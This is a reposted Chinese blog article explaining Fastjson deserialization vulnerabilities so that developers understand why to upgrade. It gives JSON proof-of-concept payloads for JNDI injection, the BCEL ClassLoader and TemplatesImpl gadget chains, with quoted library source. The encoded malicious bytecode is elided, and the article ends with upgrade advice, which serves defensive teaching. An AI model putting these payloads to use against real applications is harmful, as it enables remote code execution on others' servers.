Fastjson反序列化漏洞利用分析
?
背景
在推動Fastjson組件升級的程序中遇到一些問題，為幫助業務同學理解漏洞危害，下文將從整體上對其漏洞原理及利用方式做歸納總結，主要是一些概述性和原理上的東西，
漏洞原理
多個版本的Fastjson組件在反序列化不可信資料時會導致代碼執行，究其原因，首先，Fastjson提供了autotype功能，允許用戶在反序列化資料中通過“@type”指定反序列化的型別，其次，Fastjson自定義的反序列化機制時會呼叫指定類中的setter方法及部分getter方法，那么當組件開啟了autotype功能并且反序列化不可信資料時，攻擊者可以構造資料，使目標應用的代碼執行流程進入特定類的特定setter或者getter方法中，若指定類的指定方法中有可被惡意利用的邏輯（也就是通常所指的“Gadget”），則會造成一些嚴重的安全問題，
那么不開啟autotype功能就安全了嗎？
不是的，在Fastjson 1.2.47及以下版本中，利用其快取機制可實作對未開啟autotype功能的繞過，繞過細節可參考（https://www.anquanke.com/post/id/181874），代碼驗證邏輯的問題，不再贅述，
利用方式
那么Fastjson反序列化不可信資料時是如何導致代碼執行的呢？這就是漏洞原理一節中所說的可被惡意利用的邏輯，目前公開的、攻擊者使用廣泛的Gadget無外乎有這么幾種，下面會具體解釋下指定setter或getter方法中可被惡意利用的代碼邏輯：
基于JNDI注入
JNDI即Java Naming and Directory Interface，Java命名和目錄介面，JNDI提供了很多實作方式，主要有RMI，LDAP，CORBA等，JNDI提供了一個統一的外部介面，底層服務實作是多樣的，
以RMI為例，RMI Registry有Name到物件的映射關系，應用通過java.rmi.naming#lookup方法向Registry發出查詢請求，得到映射關系，再連接RMI Server實作遠程方法呼叫，
如果說其lookup方法的引數是我們可以控制的，可以將其引數指向我們控制的Registry，那我們可以在Registry系結一個指向遠程類的Reference物件（當物件為Reference型別的時候，應用會加載遠程類并實體化），遠程類的靜態代碼塊及構造方法均可控，從而導致任意代碼執行，
下面以com.sun.rowset.JdbcRowSetImpl類為例具體解釋下，
基于類com.sun.rowset.JdbcRowSetImpl的POC如下：
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1097/Object",
"autoCommit":true
}
Fastjson在反序列化的時候，會使用asm來構造物件，然后呼叫物件的setter方法，在決議上述json字串時，首先構造JdbcRowSetImpl物件，然后呼叫setDataSourceName方法和setAutoCommit方法為物件賦值，在呼叫setAutoCommit方法時，會通過connect方法呼叫lookup方法向Registry發出查詢請求，而Registry的地址正是dataSourceName的值，這就導致了lookup方法引數可控，進而我們可以通過自定義Registry實作進一步漏洞利用，
connect方法代碼：
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
類似的，除com.sun.rowset.JdbcRowSetImpl外，還有org.springframework.jndi.support.SimpleJndiBeanFactory、com.mchange.v2.c3p0.JndiRefForwardingDataSource、org.apache.ibatis.datasource.jndi.JndiDataSourceFactory、org.hibernate.jmx.StatisticsService等等都可以成為“Gadget”中的一環，基于JNDI注入實作代碼執行，Java類別庫何其多，JDK中的、第三方的，未來也一定會出現更多的可被惡意利用的類別庫，
值得一提的是，在高版本的JDK中做了對JNDI注入類攻擊的防護，主要是通過限制遠程類的加載實作，具體細節可以參考我的這篇文章https://www.cnblogs.com/Welk1n/p/11066397.html，其中有比較詳細的防護原理以及某些條件下的防護繞過說明，
基于ClassLoader
POC如下：
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader" :
{
"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$···省略···bb$C$A$A"
}
首先看一下com.sun.org.apache.bcel.internal.util.ClassLoader這個類加載器的加載機制，java、javax和sun這三個包下的類會通過系統類加載器進行加載，然后當遇到一些特殊的類名，class_name以$$BCEL$$開頭的類，會呼叫createClass方法去決議class_name，在createClass方法中會將$$BCEL$$之后的字符解碼成位元組陣列，并將這個BCEL編碼后的類加載到虛擬機中，換言之，我們可以構造className為一個特殊的字串時，通過這個類加載器來實作對自定義類的加載，
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
/* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}
if(cl == null) {
JavaClass clazz = null;
/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
那么，當Fastjson反序列化org.apache.tomcat.dbcp.dbcp.BasicDataSource物件時，首先通過setter方法設定其driverClassLoader和driverClassName屬性，然后會呼叫其getConnection方法，又最終呼叫了createConnectionFactory方法，其通過Class.forName方法用driverClassLoader加載driverClassName，并設定是否初始化引數為true，forName方法實際最終呼叫了C實作的Native型別的方法，分析C原始碼可知，其底層的加載邏輯仍是呼叫類加載器的loadClass方法加載自定義類，有興趣的朋友可以自己去分析下JVM層面的實作，這兒不再展開，了解即可，
driverClassLoader和driverClassName都是json傳入，外部可控，那么若將driverClassLoader設定為com.sun.org.apache.bcel.internal.util.ClassLoader，driverClassName設定為經BCEL編碼后的自定義類，那么就實作了在反序列化時加載自定義類的目的，于是攻擊者可以在static代碼塊中撰寫惡意代碼，將其進行BCEL編碼，在類初始化時實作惡意代碼執行，
基于TemplatesImpl
POC如下：
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66vgAAADM ··· 省略 ··· CAB0="],
'_name':'a.b',
'_tfactory':{ },
"_outputProperties":{ }
}
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl這個類有個比較特殊的能力，可以決議然后加載實體化_bytecodes變數中的字符陣列，_bytecodes的值是可控的，所以攻擊者只要構造惡意類對應的字符陣列，然后通過getOutputProperties方法觸發惡意類的加載及實體化，同樣實作了遠程代碼執行的效果，
一些具體的細節可以參考這兩篇文章：
- [http://xxlegend.com/2017/05/03/title- fastjson 遠程反序列化poc的構造和分析/](http://xxlegend.com/2017/05/03/title- fastjson 遠程反序列化poc的構造和分析/)
- https://paper.seebug.org/636/
不過此種利用方式需要在決議json串時設定Feature.SupportNonPublicField，而業務同學在使用fastjson時往往會直接按照默認引數呼叫parseObject方法，所以略為雞肋，
建議
可以看到上面幾種Gadget都能用來攻擊使用Fastjson的應用，實作代碼執行，相對來說第一種方式殺傷力更強一些，所以還請務必將組件升級到最新版本，來避免攻擊者對此漏洞的攻擊，
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/121108.html
標籤：其他
上一篇：SAP 基礎知識